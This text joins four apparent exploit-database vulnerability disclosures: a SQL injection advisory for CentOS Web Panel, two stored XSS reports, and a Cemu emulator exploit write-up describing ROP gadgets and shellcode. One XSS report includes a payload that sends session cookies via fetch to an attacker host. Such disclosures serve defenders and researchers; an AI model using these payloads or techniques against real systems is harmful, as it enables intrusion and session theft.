The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
            
Document Title:
===============
CentOS Web Panel v0.9.8.12 - Remote SQL Injection Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1833


Release Date:
=============
2018-01-22


Vulnerability Laboratory ID (VL-ID):
====================================
1833


Common Vulnerability Scoring System:
====================================
7.5


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
4.000€ - 5.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2018-01-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the official CentOS Web Panel v0.9.8.12 web-application.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the connected web-server or dbms.

The sql-injection vulnerability is located in the `row_id` and `domain` value of the `Add a domain` module POST method request.
Remote attackers are able to manipulate the POST method request to execute own malicious sql commands on the application-side 
of the web-application. The request method to inject is POST and the attack vector is application-side. The vulnerability can 
be exploited by restricted user accounts against the web-application administrator. 

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.5.
Exploitation of the remote sql injection vulnerability requires no user interaction and only a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add a domain

Vulnerable Parameter(s):
[+] row_id
[+] domain

Affected Module(s):
[+] Delete domain


Proof of Concept (PoC):
=======================
The remote sql-injecton vulnerability can be exploited by remote attackers with low privilege user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Add a domain
2. Delete the same domain
3. Intercept the http request with a session tamper
4. Manipulate in the POST method request the values `row_id` or `domain` with '
5. Continue the request and an exploitable sql-exception becomes visible
6. Now the attacker can inject to the row_id and domain to execute malicious sql commands via restricted user account
7. Successful reproduce of the sql-injection vulnerability!


--- SQL Error Exceptions ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test-domain'' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in 
/usr/local/cwpsrv/htdocs/resources/admin/include/functions.php(1) : eval()'d code(1) : eval()'d code on line 5


--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://cwp.localhost:2030/index.php?module=list_domains 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[185.4.149.65:2030]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://cwp.localhost:2030/index.php?module=list_domains]
      Cookie[cwpsrv-b66ec0f9742b8f4bd3407e0151cd756c=ae0c56ru1ver0k3d0cd1hh4147]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      username[test-dom]
      domain[SQL-INJECTION PAYLOAD!]
      row_id[SQL-INJECTION PAYLOAD!]
   Response Header:
      Date[Mon, 25 Apr 2016 12:32:33 GMT]
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


Reference(s):
http://cwp.localhost:2030/
http://cwp.localhost:2030/index.php
http://cwp.localhost:2030/index.php?module=list_domains


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the centos web panel application is estimated as high. (CVSS 7.5)


Credits & Authors:
==================
Vulnerability-Lab [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
            
# Exploit Title: CentOS Web Panel 0.9.8.1081 - Stored Cross-Site Scripting (XSS)
# Date: 13/08/2021
# Exploit Author: Dinesh Mohanty
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.1081
# Tested on: CentOS 7 and 8

# Description:
Multiple Stored Cross Site Scripting (Stored XSS) Vulnerability is found in the Short Name, Ip Origin, Key Code, Format Request and Owner fields within the admin api page of module of CentOS/ Control WebPanel when user tries to create a new API. This is because the application does not properly sanitize users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "API Manager" -> then Click on "Allow New API Access"
3. In the above given fields give payload as: <img src=x onerror=alert(1)> and provide other details and click on "Create"
4. Now one can see that the XSS Payload executed.

#Vendor Notification
18th Aug 2021 - Vendor has been notified
18th Aug 2021 - Vendor confirmed the issue and fixed for next version
            
For those who only care about one thing: [the PoC is here.](https://rol.im/kpwned.zip)
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41021.zip

## Overview

Cemu is a closed-source Wii U emulator developed by Exzap. New versions are released to those who donate to him via his Patreon first, then to the public one week later. According to its official website, Cemu "is not intended for general use yet", however it can run some games well.

It HLEs the Wii U OS APIs. For those who don't know, the Wii U runs executables in a modified ELF format that include additional PE-like import and export sections. Basically, the HLE here means each exported function from each shared library has been reimplemented, and runs in native code. That's a pretty large attack surface! So, when looking for bugs, I decided to start there.

## Finding bugs in Cemu HLE API emulation

Obviously, the first thing to do is to find where the API exports are set up so all of them can be annotated in IDA. I found a function at `0x1400AEDC0` (before relocation, cemu.exe is compiled with ASLR) that I labeled `set_up_emulated_API`. It takes three arguments: a pointer to a hashed (or obfuscated) shared library name, a pointer to a hashed (or obfuscated) exported function name, and a pointer to the function used for implementation. This function has a nice debug `printf` where it printed out the library name and exported function name, so I did things the long way and set a breakpoint there in x64dbg and labeled all the ~620(!) functions by hand. This took the better part of a day (however I did take breaks.)

Once I had all the functions labeled, I could go ahead and start looking for bugs. It was nice from my perspective that the emulated API functions did all the grunt work of endianness conversion of arguments and return values, so I didn't have to do anything of the sort myself. I first decided to check the more interestingly (for me) named functions, not long later I'd found a bug.

### sysapp!_SYSGetSystemApplicationTitleId

```c
uint64_t _SYSGetSystemApplicationTitleId(uint32_t index);
```

The implementation of this function just sets up a large array of title IDs (a title ID is a 64 bit integer that identifies "something that runs on the console", like a system application, firmware component or game, this has been used by Nintendo since the Wii and DSi, on console and handheld respectively) on the stack, then indexes it using the provided argument **without checking** and returns the array[index] to the emulator. What a perfect infoleak, to defeat ASLR later!

Exploiting this seems easy, just get the return address from the stack (index `37`), but it seems this isn't totally reliable, so instead I make a dummy call, then use index `52`, which seems to return an address inside the `cemu.exe` `.text` more reliably.

### padscore!KPADSetConnectCallback

```c
uint32_t KPADSetConnectCallback(uint32_t index,uint32_t value)
```

With an infoleak obtained, I just needed to find some (semi-)arbitrary write, and this took annoyingly longer to find. I found a few bugs that seemed promising but ultimately turned out to be unexploitable. Finally, after checking some of the functions not related to the OS, I found this function. Basically, it writes to an array of 32-bit integers (obviously the intended use of that array is function pointers inside the emulated system), in the `.data` section, with no checking of the provided index. Even better, it returns the old value (although I never needed to use this functionality when exploiting).

The array is unfortunately near the end of `.data`, but that doesn't really matter, as it's stored *before* a nice array of KPAD C++ objects with vtables that I can clobber -- and if a pointer inside one of the objects happens to not be NULL, this same function makes a vtable call twice! Even better!

## Exploitation

My PoC clobbers the first KPAD object (player 1 gamepad): it nulls out the checked pointer so no vtable calls are made while things are being overwritten, it overwrites the vtable pointers, sets up the ROP chain, sets up the stack pivot, makes that pointer non-NULL, and makes a dummy call to `KPADSetConnectCallback` to get ROP.

Heh, I just made that sound easy. It wasn't.

Let's see, it was annoying to find a stack pivot in the first place? But then I found the perfect pair of gadgets:

```
0x000000014015d404 : add rcx, 0x10 ; jmp qword ptr [rax]
0x0000000140228371 : push rcx ; pop rsp ; ret
```

When the first one gets called, `rcx` has the address of the vtable array, and `rax` has the address of the first element of the vtable array (which isn't actually used, so it's a perfect place to put a gadget address).

The ROP chain is written using `KPADSetConnectCallback` just like everything else, all this is written into a part of memory that contains UTF-16LE strings for controller mappings, that can only be seen if you open the controller settings. The ROP chain itself just grabs the address of the shellcode inside emulated RAM, `memcpy`s it to RWX memory allocated for the dynamic recompiler, and jumps there. Sure, it doesn't work if you deliberately disable the dynamic recompiler, but firstly, who even does that?!, and secondly, I'll leave the making of a ROP chain that uses `VirtualAlloc` to someone else if they wish.

The shellcode itself is just metasploit `windows/x64/exec` running `calc.exe`. Nothing special.

One final thing: when testing, I noticed that the emulator crashed if controller one was set up properly. It's because I initially thought the pointer that got checked for being NULL was a boolean or something else, and I'd only zeroed out the lower 32 bits of it. Whoops.

## Compiling the PoC

Linked at the top of the page is an archive including the PoC itself as `calc.rpx` plus source plus modified and additional import library dependencies (as source and binaries). I used [wut](https://github.com/decaf-emu/wut) to make the PoC which obviously depends on [devkitPro/devkitPPC](http://devkitpro.org/). After compiling wut successfully I had to make library additions, as both of the vulnerable functions were not included in the library set. Luckily enough it was very easy to make additions to the import libraries.

## Timeline

2016-12-30: started reversing  
2016-12-31: found exploits  
2017-01-01: made PoC, made initial contact with developer  
2017-01-02: developer replies, said fixes have been made  
2017-01-02: asked for release date  
2017-01-02: reply: release date unknown, "in 1-2 weeks maybe"  
2017-01-09: release to patrons, public disclosure
            
# Exploit Title: Cemetry Mapping and Information System 1.0 - Multiple Stored Cross-Site Scripting
# Exploit Author: Mesut Cetin
# Date: 2021-01-10
# Vendor Homepage: https://www.sourcecodester.com/php/12779/cemetery-mapping-and-information-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12779&title=Cemetery+Mapping+and+Information+System+Using+PHP%2FMySQLi+with+Source+Code
# Affected Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0, Burp Suite Professional v.1.7.34 

Affected parameter: "full name", "location"

Proof of concept:

1. Login under admin panel, http://localhost/CemeteryMapping/admin/login.php, with default credentials janobe:admin
2. Click on "Deceased Persons"
3. Choose one of the users and click on their names to edit it
4. In the field "Full Name" insert the payload: <script>alert(document.cookie)</script>
5. Save and open the webpage under http://localhost/CemeteryMapping/index.php?q=person
6. You will receive the PHPSESSID cookie as alert. The cookie values can be redirected to attacker page by using payloads like <script src="data:application/javascript,fetch(`https://attacker-page.com/${document.cookie}`)"></script>

To manipulate the "location" parameter, we will use Burp Suite. Capture the request with Burp:

POST /CemeteryMapping/admin/person/controller.php?action=edit HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/CemeteryMapping/admin/person/index.php?view=edit&id=1
Cookie: PHPSESSID=h9smkdr8dvjhsjviugnvot261m
Upgrade-Insecure-Requests: 1

PEOPLEID=1&GRAVENO=1&FNAME=JACONDIA+A.MORTEL&CATEGORIES=C&BORNDATE=07%2F04%2F1992&DIEDDATE=12%2F29%2F2003&LOCATION=BUENAVISTA+LOOC+CEMETERY<script>alert(document.cookie)</script>&save=

And forward the request. The cookie values will be displayed on screen.